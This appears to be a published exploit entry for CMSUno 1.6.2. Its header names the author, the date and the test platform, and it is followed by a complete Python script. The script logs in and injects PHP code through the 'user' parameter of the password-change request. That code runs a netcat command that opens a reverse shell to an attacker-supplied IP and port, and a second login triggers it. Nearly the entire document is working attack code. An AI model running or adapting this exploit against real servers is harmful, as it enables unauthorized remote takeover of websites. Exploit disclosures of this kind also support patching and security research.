CMSUno 1.6.2 – ‘user’ Remote Code Execution (Authenticated)
# Exploit Title: CMSUno 1.6.2 - 'user' Remote Code Execution (Authenticated) # Google Dork: N/A # Date: 2020.09.30 # Exploit Author: Fatih Çelik # Vendor Homepage: https://github.com/boiteasite/cmsuno/ # Software Link: https://github.com/boiteasite/cmsuno/ # Blog: https://fatihhcelik.blogspot.com/2020/09/cmsuno-162-remote-code-execution.html # Version: 1.6.2 # Tested on: Kali Linux 2020.2 # CVE : N/A import requests from bs4 import BeautifulSoup import lxml import json from time import sleep username = input("username: ") password = input("password: ") root_url = input("Root URL: http://192.168.1.9/cmsuno --> ") listener_ip = input("Your ip: ") listener_port = input("Your port for reverse shell: ") login_url = root_url + "/uno.php" vulnerable_url = root_url + "/uno/central.php" session = requests.Session() request = session.get(login_url) # Get the unox value soup = BeautifulSoup(request.text,"lxml") unox = soup.find("input",{'name':'unox'})['value'] # Login body = {"unox":unox,"user":username,"pass":password} session.post(login_url, data=body) # Get the second unox value request = session.get(login_url) text = request.text soup = BeautifulSoup(text,"lxml") script = soup.findAll('script')[1].string data = script.split("Unox='")[1] unox = data.split("',")[0] # Exploit header = { "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0", "Accept":"*/", "Accept-Encoding": "gzip, deflate", "X-Requested-With": "XMLHttpRequest", "Origin": login_url, "Referer": login_url } payload = 'en";system(\'nc.traditional {} {} -e /bin/bash\');?>// '.format(listener_ip,listener_port) body = 'action=sauvePass&unox={}&user0={}&pass0={}&user={}&pass=654321&lang=en'.format(unox,username,password,payload) session.post(vulnerable_url, data=(json.dumps(body)).replace("\\","")[1:-1],headers=header) # Login to trigger password.php # Get the unox value session1 = requests.Session() request1 = session1.get(login_url) soup = BeautifulSoup(request1.text,"lxml") unox = soup.find("input",{'name':'unox'})['value'] # Login sleep(3) body = {"unox":unox,"user":username,"pass":password} session1.post(login_url, data=body) |